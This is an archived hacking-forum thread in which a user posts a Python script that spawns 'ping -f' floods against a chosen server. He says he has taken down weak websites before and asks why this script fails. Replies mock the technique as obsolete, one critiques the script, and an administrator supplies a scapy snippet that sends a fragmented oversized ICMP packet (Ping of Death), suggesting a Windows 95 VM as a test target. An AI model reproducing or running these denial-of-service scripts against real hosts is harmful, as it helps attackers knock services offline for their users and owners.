Author Topic: Ping of Death - Works or not?  (Read 1759 times)

0 Members and 1 Guest are viewing this topic.

Offline Coto

  • Serf
  • *
  • Posts: 21
  • Cookies: -37
    • View Profile
Ping of Death - Works or not?
« on: January 17, 2016, 05:08:02 pm »
I had recently heard about "Ping of Death". It was known to act like a DDoS tool, by Pinging and sending threads to the victim Server.

I made something like that in Python:

Code: [Select]
#!/bin/sh

import time
import requests
import os

server = raw_input("Server to perform the DDoS Attack on [IP/URL]: ")
connections = input("Connections [1-100]: ")
downtime = float(raw_input("Downtime [in seconds]: "))

if '.' in server:
for x in range(0, connections):
os.system("gnome-terminal -e 'ping -f %s'" % str(server))
else:
print(server+ "is not a valid IP/URL.")
exit()

time.sleep(downtime)
print(" ")
print("\033[1;32;40mAttack has been successfully completed!")
print(" ")
print("\033[1;31;40mServer's Downtime:"),
print("\033[1;35;40m%s") % (downtime)
print(" ")
print("\033[1;36;40mSaving Output..."),
try:
f = open('Attack_History.txt','a')
except:
f = open('Attack_History.txt','w')
f.write('Server: '+server+'\n')
f.write('Connections: %s''\n' % str(connections))
f.write('Downtime: %s Seconds''\n' % str(downtime))
f.write("+------------------------+")
f.write('\n')
f.close()
time.sleep(5)
os.system("pkill terminal")

But it doesn't seem to work, even on very "weak" Websites, that I've tried DoSing with other ways and have worked. I opened up EtherApe and noticed that all the attacks were reflected on me. Just like a distributed reflective denial of service. Why does this happen? And is it possible to take down a site by using Ping?

Offline iikibT

  • Serf
  • *
  • Posts: 41
  • Cookies: 7
    • View Profile
Re: Ping of Death - Works or not?
« Reply #1 on: January 17, 2016, 06:52:56 pm »
What you are doing is not ping of death, but just regular ping... I am not really sure how you are trying to achieve buffer overflow (or whatever you are after) with this. Please let me know if I'm missing something.

Also a couple of notes on your script:
  • Since it is a python script, first line should probably be '#!/usr/bin/env python', not '#!/bin/sh' (your default shell probably doesn't speak python =)
  • It is usually considered better to enable setting options via parameters, than asking for them 1 by 1 each time a script is run
  • Not sure what you are trying to achieve with connections, but your for loop will execute one 'connection' at a time. If you want to have them in parallel, see multiprocessing

EDIT: Also, it would probably be wise to first find something that you can exploit using ping of death, put it on your network and develop / test it there until you get it right.
« Last Edit: January 17, 2016, 06:54:51 pm by iikibT »
Hacking for no fun and no profit

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: Ping of Death - Works or not?
« Reply #2 on: January 18, 2016, 07:26:19 am »
HAHAHAHAHAHA ping of death, the 90's called, they want it back.
Plz stop making a fool of yourself.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: Ping of Death - Works or not?
« Reply #3 on: January 18, 2016, 12:04:44 pm »
Disclaimer: This attack is too deprecated it might have been a prime in my grandfather's middle age crisis days.

For the sake of learning purposes, lets pretend we are still in the 90's and reconstruct this.

For testing purposes, setup two machines in a private network, take it to the VM to save yourself from the huddles of networking. I leave the VM networking as homework for you.
I would advise one machine to have you favorite OS to ping from and the other having something like Windows 95.

I don't know if that ISO is patched but try it out anyways.
Your default ping utility on your system might not allow you to enter an arbitrary amount of bytes to send so i advise you go the scapy way since we are doing python.

NOTICE: I am typing this from my browser, fuck you if it does go through
Code: (python) [Select]
import argparse
from scapy.all import send, fragment, IP, ICMP

#implement argparse logic to get URL but most preferably IP
#if IP, validate that is IP with regex or w/e logic you think of
#if URL, i suggest get its or one of its IP Address
ip_address = #validated IP from above
#scappy magic
send(fragment(IP(dst=ip_address) / ICMP()  / ("X"*60000)))

I suggest you play around with those values, remember the multithreading advice from prior and you most probably will not find a vulnerable machine in this time and age unless you set it up.
If the attack doesn't crash the machine or restart it, get MSDOS.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline deltonos

  • Serf
  • *
  • Posts: 36
  • Cookies: -2
    • View Profile
Re: Ping of Death - Works or not?
« Reply #4 on: January 18, 2016, 03:18:07 pm »
I had recently heard about "Ping of Death". It was known to act like a DDoS tool, by Pinging and sending threads to the victim Server.


But it doesn't seem to work, even on very "weak" Websites, that I've tried DoSing with other ways and have worked. I opened up EtherApe and noticed that all the attacks were reflected on me. Just like a distributed reflective denial of service. Why does this happen? And is it possible to take down a site by using Ping?

Try against OS: NT, Win3.11 with trumpet Winsocks and win95.

Oh, wait... were are in 2016 ... those attacks worked in 1997 :P, too late!